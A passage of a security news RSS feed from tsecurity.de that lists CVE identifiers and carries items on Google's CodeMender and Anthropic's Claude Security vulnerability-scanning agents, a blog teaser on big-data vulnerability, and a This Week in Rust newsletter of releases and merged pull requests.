CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43436,
CVE-2026-43437, CVE-2026-43439, CVE-2026-43441, CVE-2026-43445,
CVE-2026-43448, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43455, CVE-2026-43456,
CVE-2026-43457, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466,
CVE-2026-43467, CVE-2026-43468, CVE-2026-43469, CVE-2026-43471,
CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476,
CVE-2026-43480, CVE-2026-43483, CVE-2026-43484, CVE-2026-43488,
CVE-2026-43490, CVE-2026-43491, CVE-2026-43492, CVE-2026-43495,
CVE-2026-43496, CVE-2026-43497, CVE-2026-43499, CVE-2026-43502,
CVE-2026-45834, CVE-2026-45835, CVE-2026-45836, CVE-2026-45838,
CVE-2026-45839, CVE-2026-45840, CVE-2026-45841, CVE-2026-45842,
CVE-2026-45843, CVE-2026-45844, CVE-2026-45845, CVE-2026-45846,
CVE-2026-45855, CVE-2026-45858, CVE-2026-45899, CVE-2026-45911,
CVE-2026-45920, CVE-2026-45924, CVE-2026-45942, CVE-2026-45943,
CVE-2026-45956, CVE-2026-45958, CVE-2026-45985, CVE-2026-45986,
CVE-2026-45987, CVE-2026-45989, CVE-2026-45991, CVE-2026-45994,
CVE-2026-45996, CVE-2026-45997, CVE-2026-45999, CVE-2026-46002,
CVE-2026-46003, CVE-2026-46004, CVE-2026-46005, CVE-2026-46006,
CVE-2026-46007, CVE-2026-46009, CVE-2026-46011, CVE-2026-46012,
CVE-2026-46015, CVE-2026-46016, CVE-2026-46018, CVE-2026-46019,
CVE-2026-46021, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024,
CVE-2026-46026, CVE-2026-46027, CVE-2026-46031, CVE-2026-46033,
CVE-2026-46037, CVE-2026-46038, CVE-2026-46040, CVE-2026-46041,
CVE-2026-46044, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049,
CVE-2026-46050, CVE-2026-46051, CVE-2026-46052, CVE-2026-46053,
CVE-2026-46056, CVE-2026-46058, CVE-2026-46061, CVE-2026-46062,
CVE-2026-46063, CVE-2026-46064, CVE-2026-46065, CVE-2026-46068,
CVE-2026-46069, CVE-2026-46070, CVE-2026-46072, CVE-2026-46073,
CVE-2026-46075, CVE-2026-46076, CVE-2026-46077, CVE-2026-46078,
CVE-2026-46079, CVE-2026-46080, CVE-2026-46082, CVE-2026-46083,
CVE-2026-46084, CVE-2026-46086, CVE-2026-46088, CVE-2026-46089,
CVE-2026-46090, CVE-2026-46091, CVE-2026-46092, CVE-2026-46094,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46103, CVE-2026-46106, CVE-2026-46107, CVE-2026-46108,
CVE-2026-46110, CVE-2026-46111, CVE-2026-46112, CVE-2026-46113,
CVE-2026-46114, CVE-2026-46116, CVE-2026-46117, CVE-2026-46120,
CVE-2026-46121, CVE-2026-46122, CVE-2026-46123, CVE-2026-46124,
CVE-2026-46125, CVE-2026-46126, CVE-2026-46127, CVE-2026-46128,
CVE-2026-46129, CVE-2026-46131, CVE-2026-46132, CVE-2026-46133,
CVE-2026-46136, CVE-2026-46137, CVE-2026-46138, CVE-2026-46139,
CVE-2026-46142, CVE-2026-46143, CVE-2026-46144, CVE-2026-46145,
CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46152, CVE-2026-46157, CVE-2026-46159, CVE-2026-46160,
CVE-2026-46161, CVE-2026-46163, CVE-2026-46164, CVE-2026-46167,
CVE-2026-46168, CVE-2026-46169, CVE-2026-46172, CVE-2026-46173,
CVE-2026-46174, CVE-2026-46176, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46179, CVE-2026-46180, CVE-2026-46184, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46189, CVE-2026-46190, CVE-2026-46191,
CVE-2026-46193, CVE-2026-46194, CVE-2026-46196, CVE-2026-46197,
CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201,
CVE-2026-46204, CVE-2026-46205, CVE-2026-46206, CVE-2026-46207,
CVE-2026-46208, CVE-2026-46209, CVE-2026-46211, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46218, CVE-2026-46219, CVE-2026-46220,
CVE-2026-46225, CVE-2026-46226, CVE-2026-46227, CVE-2026-46229,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46232, CVE-2026-46233,
CVE-2026-46234, CVE-2026-46235, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46241, CVE-2026-46273, CVE-2026-46274, CVE-2026-46280,
CVE-2026-46282, CVE-2026-46285, CVE-2026-46286, CVE-2026-46287,
CVE-2026-46291, CVE-2026-46292, CVE-2026-46293, CVE-2026-46294,
CVE-2026-46296, CVE-2026-46299, CVE-2026-46301, CVE-2026-46303,
CVE-2026-46304, CVE-2026-46306, CVE-2026-46307, CVE-2026-46312,
CVE-2026-46314, CVE-2026-46319, CVE-2026-52911, CVE-2026-52920,
CVE-2026-52925, CVE-2026-52933, CVE-2026-52936, CVE-2026-52951,
CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958,
CVE-2026-52961, CVE-2026-52962, CVE-2026-52963, CVE-2026-52964,
CVE-2026-52967, CVE-2026-52968, CVE-2026-52969, CVE-2026-52970,
CVE-2026-52974, CVE-2026-52975, CVE-2026-52977, CVE-2026-52981,
CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986,
CVE-2026-52989, CVE-2026-52990, CVE-2026-52992, CVE-2026-52993,
CVE-2026-52995, CVE-2026-52998, CVE-2026-52999, CVE-2026-53001,
CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53006,
CVE-2026-53011, CVE-2026-53012, CVE-2026-53013, CVE-2026-53014,
CVE-2026-53015, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53032, CVE-2026-53033, CVE-2026-53034,
CVE-2026-53035, CVE-2026-53036, CVE-2026-53037, CVE-2026-53039,
CVE-2026-53040, CVE-2026-53041, CVE-2026-53043, CVE-2026-53045,
CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049,
CVE-2026-53050, CVE-2026-53052, CVE-2026-53056, CVE-2026-53058,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53063, CVE-2026-53064, CVE-2026-53065, CVE-2026-53066,
CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072,
CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53076,
CVE-2026-53077, CVE-2026-53082, CVE-2026-53083, CVE-2026-53084,
CVE-2026-53085, CVE-2026-53086, CVE-2026-53088, CVE-2026-53093,
CVE-2026-53094, CVE-2026-53096, CVE-2026-53097, CVE-2026-53098,
CVE-2026-53110, CVE-2026-53111, CVE-2026-53112, CVE-2026-53115,
CVE-2026-53117, CVE-2026-53122, CVE-2026-53123, CVE-2026-53126,
CVE-2026-53128, CVE-2026-53130, CVE-2026-53279, CVE-2026-53287,
CVE-2026-53289, CVE-2026-53291, CVE-2026-53293, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53303, CVE-2026-53304,
CVE-2026-53306, CVE-2026-53309, CVE-2026-53314, CVE-2026-53320,
CVE-2026-53369, CVE-2026-53374, CVE-2026-53375, CVE-2026-53376,
CVE-2026-53379, CVE-2026-63838, CVE-2026-63843, CVE-2026-63844,
CVE-2026-63845, CVE-2026-63846, CVE-2026-63847, CVE-2026-63848,
CVE-2026-63851, CVE-2026-63852, CVE-2026-63854, CVE-2026-63855,
CVE-2026-63856, CVE-2026-63860, CVE-2026-63861, CVE-2026-63862,
CVE-2026-63865, CVE-2026-64164)]]></content:encoded>
</item>
<item>
<title><![CDATA[Google Launches CodeMender AI Agent to Find, Verify, and Patch Software Flaws]]></title>
<description><![CDATA[Google Cloud has moved its CodeMender AI security agent from research preview into a broader enterprise preview, enabling security teams to scan, verify, and automatically remediate software vulnerabilities at machine speed. The launch, announced on July 22, 2026, by Michael Gerstenhaber, VP of P...]]></description>
<link>https://tsecurity.de/de/3688296/it-security-nachrichten/google-launches-codemender-ai-agent-to-find-verify-and-patch-software-flaws/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688296/it-security-nachrichten/google-launches-codemender-ai-agent-to-find-verify-and-patch-software-flaws/</guid>
<pubDate>Thu, 23 Jul 2026 09:42:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google Cloud has moved its CodeMender AI security agent from research preview into a broader enterprise preview, enabling security teams to scan, verify, and automatically remediate software vulnerabilities at machine speed. The launch, announced on July 22, 2026, by Michael Gerstenhaber, VP of Product Management for Gemini Enterprise, and Clemens Viernickel, Director of Product Management […]</p>
<p>The post <a href="https://cyberpress.org/google-launches-codemender-ai-agent-to-find-flaws/">Google Launches CodeMender AI Agent to Find, Verify, and Patch Software Flaws</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hugging Face OpenAI Five Whys: Big Data’s Fourth V After Fourteen Years]]></title>
<description><![CDATA[Way back in 2012, I gave a BSidesLV talk called Big Data’s Fourth V: Or Why We’ll Never Find the Loch Ness Monster. The argument was meant to help prevent AI from being so unsafe. Everyone counts three Vs in big data: variety, volume, velocity. The fourth V is vulnerability, and it means the data...]]></description>
<link>https://tsecurity.de/de/3688263/it-security-nachrichten/hugging-face-openai-five-whys-big-datas-fourth-v-after-fourteen-years/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688263/it-security-nachrichten/hugging-face-openai-five-whys-big-datas-fourth-v-after-fourteen-years/</guid>
<pubDate>Thu, 23 Jul 2026 09:24:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Way back in 2012, I gave a BSidesLV talk called Big Data’s Fourth V: Or Why We’ll Never Find the Loch Ness Monster. The argument was meant to help prevent AI from being so unsafe. Everyone counts three Vs in big data: variety, volume, velocity. The fourth V is vulnerability, and it means the data … <a href="https://www.flyingpenguin.com/hugging-face-openai-five-whys-big-datas-fourth-v-after-fourteen-years/" class="more-link">Continue reading <span class="screen-reader-text">Hugging Face OpenAI Five Whys: Big Data’s Fourth V After Fourteen Years</span> <span class="meta-nav">→</span></a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Claude Security Plugin Uses AI to Find, Validate, and Patch Software Flaws]]></title>
<description><![CDATA[Anthropic has expanded its AI-driven vulnerability detection capabilities by launching Claude Security as a native Claude Code plugin, now available in beta for all Claude Code users. The move brings Anthropic’s reasoning-based security scanning directly into developers’ terminals, allowing teams...]]></description>
<link>https://tsecurity.de/de/3688132/it-security-nachrichten/claude-security-plugin-uses-ai-to-find-validate-and-patch-software-flaws/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688132/it-security-nachrichten/claude-security-plugin-uses-ai-to-find-validate-and-patch-software-flaws/</guid>
<pubDate>Thu, 23 Jul 2026 08:11:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Anthropic has expanded its AI-driven vulnerability detection capabilities by launching Claude Security as a native Claude Code plugin, now available in beta for all Claude Code users. The move brings Anthropic’s reasoning-based security scanning directly into developers’ terminals, allowing teams to scan changes before committing or run full codebase audits using the same Claude inference […]</p>
<p>The post <a href="https://cyberpress.org/claude-security-plugin-uses-ai-to-find-flaws/">Claude Security Plugin Uses AI to Find, Validate, and Patch Software Flaws</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[This Week In Rust: This Week in Rust 661]]></title>
<description><![CDATA[Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRu...]]></description>
<link>https://tsecurity.de/de/3688059/tools/this-week-in-rust-this-week-in-rust-661/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688059/tools/this-week-in-rust-this-week-in-rust-661/</guid>
<pubDate>Thu, 23 Jul 2026 07:18:12 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hello and welcome to another issue of <em>This Week in Rust</em>!
<a href="https://www.rust-lang.org/">Rust</a> is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
<a href="https://bsky.app/profile/thisweekinrust.bsky.social">@thisweekinrust.bsky.social</a> on Bluesky or
<a href="https://mastodon.social/@thisweekinrust">@ThisWeekinRust</a> on mastodon.social, or
<a href="https://github.com/rust-lang/this-week-in-rust">send us a pull request</a>.
Want to get involved? <a href="https://github.com/rust-lang/rust/blob/main/CONTRIBUTING.md">We love contributions</a>.</p>
<p><em>This Week in Rust</em> is openly developed <a href="https://github.com/rust-lang/this-week-in-rust">on GitHub</a> and archives can be viewed at <a href="https://this-week-in-rust.org/">this-week-in-rust.org</a>.
If you find any errors in this week's issue, <a href="https://github.com/rust-lang/this-week-in-rust/pulls">please submit a PR</a>.</p>
<p>Want TWIR in your inbox? <a href="https://this-week-in-rust.us11.list-manage.com/subscribe?u=fd84c1c757e02889a9b08d289&amp;id=0ed8b72485">Subscribe here</a>.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-rust-community">Updates from Rust Community</a></h4>


<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#official">Official</a></h5>
<ul>
<li><a href="https://blog.rust-lang.org/2026/07/16/Rust-1.97.1/">Announcing Rust 1.97.1</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#newsletters">Newsletters</a></h5>
<ul>
<li><a href="https://www.theembeddedrustacean.com/p/the-embedded-rustacean-issue-76">The Embedded Rustacean Issue #76</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#projecttooling-updates">Project/Tooling Updates</a></h5>
<ul>
<li><a href="https://tokio.rs/blog/2026-07-22-announcing-topcoat">Announcing Topcoat: a framework for building full-stack reactive web apps with Rust</a></li>
<li><a href="https://github.com/dtolnay/syn/releases/tag/3.0.0">Syn 3.0.0</a></li>
<li><a href="https://blog.jetbrains.com/rust/2026/07/22/whats-new-in-rustrover-2026-2/">What’s New in RustRover 2026.2</a></li>
<li><a href="https://github.com/kunobi-ninja/kobe/releases/tag/v0.35.0">kobe 0.35.0: readiness gates and cert recycling</a></li>
<li><a href="https://github.com/Eoin-McMahon/comhad/releases/tag/v0.1.0">Comhad v0.1.0: a ranger-style tui cyberduck replacement for browsing S3</a></li>
<li><a href="https://github.com/bigduu/Nova/releases/tag/v0.2.1">Nova v0.2.1: computer-use MCP server</a></li>
<li><a href="https://github.com/rust-windowing/winit/pull/4571">winit now has comprehensive cross-platform drag-and-drop support, exposing most of the power of the underlying OS APIs</a></li>
<li><a href="https://github.com/singhpratech/crimson-crab/releases/tag/v0.1.0">crimson-crab v0.1.0 - a production-grade Rust SDK for the Claude API (streaming, tool use, prompt caching, batches)</a></li>
<li><a href="https://singhpratech.github.io/ferrovec/">ferrovec: dependency-light HNSW vector search in Rust, compiled to WebAssembly for private in-browser semantic search</a></li>
<li><a href="https://github.com/ordokr/ordofp/releases/tag/v0.1.0">OrdoFP 0.1.0 released — a functional-programming toolbelt for Rust (HList, GAT type classes, optics, effects, monad transformers)</a></li>
<li><a href="https://freyaui.dev/posts/0.4">Freya 0.4</a></li>
<li><a href="https://dev.to/nabsei/buildline-merging-cargo-and-ninjas-build-profiling-into-one-timeline-2373">buildline: merging cargo and ninja's build profiling into one timeline</a></li>
<li><a href="https://richer-richard.github.io/cochlea/determinism.html#030-additions-2026-07-22">cochlea 0.3.0: melody read-back, MFCC timbre, a master limiter, and MIDI import for the deterministic agent-audio engine</a></li>
<li><a href="https://flodl.dev/blog/then-the-cpu-died">flodl 0.6.0: multi-host heterogeneous DDP - mismatched GPUs across hosts beat the fastest card alone</a></li>
<li><a href="https://hongnoul.github.io/hwatu/">hwatu: a daemon-based WebKitGTK browser for tiling WMs with ~13ms window spawn</a></li>
<li><a href="https://github.com/kunobi-ninja/kache/releases/tag/v0.11.0">kache 0.11.0: broader compiler coverage and libc-aware keys</a></li>
<li><a href="https://mladedav.github.io/blog/blog/tracing-reload/"><code>tracing-reload</code> - reload layer without panics</a></li>
<li><a href="https://www.opentypeless.com/en/blog/introducing-talkmore">Introducing OpenTypeless: Voice Input That Actually Works</a></li>
<li><a href="https://dev.to/booyaka101/reading-a-rust-crates-capabilities-out-of-its-compiled-symbols-58pb">Reading a Rust crate's capabilities out of its compiled symbols</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#observationsthoughts">Observations/Thoughts</a></h5>
<ul>
<li><a href="https://smallcultfollowing.com/babysteps/blog/2026/07/15/battery-packs/">Battery packs: Let's talk about crates, baby</a></li>
<li><a href="https://blog.yoshuawuyts.com/capture-clauses-as-effects">Capture Clauses as Effects</a></li>
<li><a href="https://corrode.dev/blog/hardening-rust/">Hardening Rust Code For Production</a></li>
<li><a href="https://pranitha.dev/posts/tokio-gives-progress-not-ordering/">Tokio Gives Progress, Not Ordering: Scheduling 1M Tasks</a></li>
<li><a href="https://kerkour.com/rust-service-hardening-and-production-checklist">Rust service hardening and production checklist</a></li>
<li>[audio] <a href="https://corrode.dev/podcast/s06e08-rust-foundation/">The Rust Foundation with Rebecca Rumbul, Lori Lorusso, and David Wood, Rust Foundation leadership and board</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=bAINppA0BSU">Jon Gjengset: Open Source Maintenance 2026-07-18</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=lUoQ3uGSQA0">Rust Release Changelog - 1.97.0</a></li>
<li>[video] <a href="https://www.youtube.com/live/Doqwh1b4QyA">Livestream: Rust in Ubuntu</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-walkthroughs">Rust Walkthroughs</a></h5>
<ul>
<li><a href="https://kriyanative.com/blog/13-chain-breaks/">I hash-chained my agent's audit log. Then I found 13 breaks in it — all mine, all benign.</a></li>
<li><a href="https://dev.to/scripthpp/two-bugs-i-only-found-by-running-my-rust-sync-daemon-against-real-infrastructure-4278">Two tricky bugs in a Rust daemon</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=u91eX3J6lPU">Backend Concepts in Rust: Securely Managing App Secrets</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=tIrSvJFRxAg">Build with Naz - Ep 21: High Performance Flat 2D Arrays in Rust (SIMD, L1 cache)</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#crate-of-the-week">Crate of the Week</a></h4>
<p>This week's crate is <a href="https://github.com/medialab/xan">xan</a>, a TUI toolkit to work with CSV files.</p>
<p>Thanks to <a href="https://users.rust-lang.org/t/crate-of-the-week/2704/1630">Simeon H.K. Fitch</a> for the suggestion!</p>
<p><a href="https://users.rust-lang.org/t/crate-of-the-week/2704">Please submit your suggestions and votes for next week</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#calls-for-testing">Calls for Testing</a></h4>
<p>An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.</p>
<p>If you are a feature implementer and would like your RFC to appear in this list, add a
<code>call-for-testing</code> label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.</p>
<p><em>No calls for testing were issued this week by
<a href="https://github.com/rust-lang/rust/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rust</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/rustup/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rustup</a> or
<a href="https://github.com/rust-lang/rfcs/issues?q=label%3Acall-for-testing%20state%3Aopen">Rust language RFCs</a>.</em></p>
<p><a href="https://github.com/rust-lang/this-week-in-rust/issues">Let us know</a> if you would like your feature to be tracked as a part of this list.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#call-for-participation-projects-and-speakers">Call for Participation; projects and speakers</a></h4>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-projects">CFP - Projects</a></h5>
<p>Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!</p>
<p>Some of these tasks may also have mentors available, visit the task page for more information.</p>



<ul>
<li><em>No Calls for participation were submitted this week.</em></li>
</ul>
<p>If you are a Rust project owner and are looking for contributors, please submit tasks <a href="https://github.com/rust-lang/this-week-in-rust?tab=readme-ov-file#call-for-participation-guidelines">here</a> or through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-events">CFP - Events</a></h5>
<p>Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.</p>


<ul>
<li><em>No Calls for papers or presentations were submitted this week.</em></li>
</ul>
<p>If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-the-rust-project">Updates from the Rust Project</a></h4>
<p>576 pull requests were <a href="https://github.com/search?q=is%3Apr+org%3Arust-lang+is%3Amerged+merged%3A2026-07-14..2026-07-21">merged in the last week</a></p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler">Compiler</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159256">account for async closures when pointing at lifetime in return type</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157824">comptime inherent impls</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159115"><code>dep_graph</code>: deduplicate task reads with an epoch-filtered index recorder</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158976">eagerly check for ambiguity in macro parsing</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158608">implement <code>#[diagnostic::opaque]</code> attribute to hide backtraces of macros</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158720">shrink <code>ast::Expr64</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#library">Library</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159467">add explicit <code>Iterator::count</code> impl for <code>str::EncodeUtf16</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159296">implement <code>bool::toggle</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159528">implement <code>const_binary_search</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159302">implement <code>Debug</code> helpers via <code>Cell</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156220">implement <code>VecDeque::truncate_to_range</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158061">make <code>pin!()</code> more foolproof</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158546">move <code>std::io::BufRead</code> to <code>alloc::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158544">move <code>std::io::Read</code> to <code>alloc::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158545">move <code>std::io::read_to_string</code> to <code>alloc::io</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo">Cargo</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159149">use PGO for Cargo</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17238"><code>timings</code>: only report units the job queue actually ran</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17236">do not include proc-macro deps in rustc search path args</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17216">include SBOM outputs in fingerprints</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17226">lazily initialize git2 fetch transports</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rustdoc">Rustdoc</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159194">fix auto trait normalization env</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159091">use PGO for rustdoc</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#clippy">Clippy</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16855">add <code>block_scrutinee</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17415">avoid invalid <code>ref_as_ptr</code> suggestions in const/static initializers</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16800">detect <code>== 0</code> on unsigned types as a <code>manual_clamp</code> lower bound</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17405">fix <code>if_not_else</code> linting on macro expanded conditions</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17383">fix <code>needless_collect</code> suggests a suggestion that cannot be typed</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17385"><code>non_zero_suggestions</code>: don't lint signed integer div/rem as NonZero</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17377"><code>manual_filter</code>: don't eat comments in the <code>and_then</code> suggestion</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17369">require the use of <code>as _</code> for indirectly used traits in clippy sources</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17362">rewrite <code>min_ident_chars</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16633">use <code>#[must_use]</code> determination from the compiler</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-analyzer">Rust-Analyzer</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22634">avoid index panic when flycheck list is empty</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22811">add capture hints to coroutines</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22813">add handler for E0572</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22483">do not assume array destructuring assignments with rest pattern are constant-sized</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22852">eagerly normalize <code>.await</code>'s <code>IntoFuture::Output</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22791">enable auto trait inference</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22792">extract variable preserving whitespace from macro input</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22832">fix coroutines not recording binding owners correctly</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22759">fix crashes in assists due to <code>.unwrap()</code> calls in SyntaxFactory</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22810">fix <code>hir</code> crate leaking bound variables from skipped binders</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22855">fix <code>InferenceContext:identity_args</code> using the wrong DefId</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22849">fix syntax bridge panic when spilting float</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22857">handle <code>enum</code> variants in next-solver <code>generics</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22818">implement lowering of HRTB</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22789">invalid <code>pattern_matching_variant</code> lowering due to recovery</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22867">merge <code>WherePredicate::ForLifetimes</code> into <code>WherePredicate::TypeBound</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22804">only write anon const ty in parent's inference result if it doesn't have its own inference</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22822">panic with a function item and a proc macro item having a duplicate name</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22827">parser to error on macro type bound</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22865">spawn proc-macro servers on requests clearing the client cache</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22782">use quote! inside <code>ast::make::expr_call()</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22793">use <code>Result</code> for the lsp-server <code>Response</code> payload type</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22861">record expressions in types in <code>ExprScope</code></a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-compiler-performance-triage">Rust Compiler Performance Triage</a></h5>
<p>The two most notable changes this week were <a href="https://github.com/rust-lang/rust/pull/159115">#159115</a>,
which resulted in pretty nice instruction count wins for full incremental builds on several benchmarks,
and <a href="https://github.com/rust-lang/rust/pull/159091">#159091</a>, which enabled PGO for rustdoc, which
makes it ~3-4% faster across the board.</p>
<p>There were two large rollups with tiny performance regressions, which made it difficult to find
the offending PRs.</p>
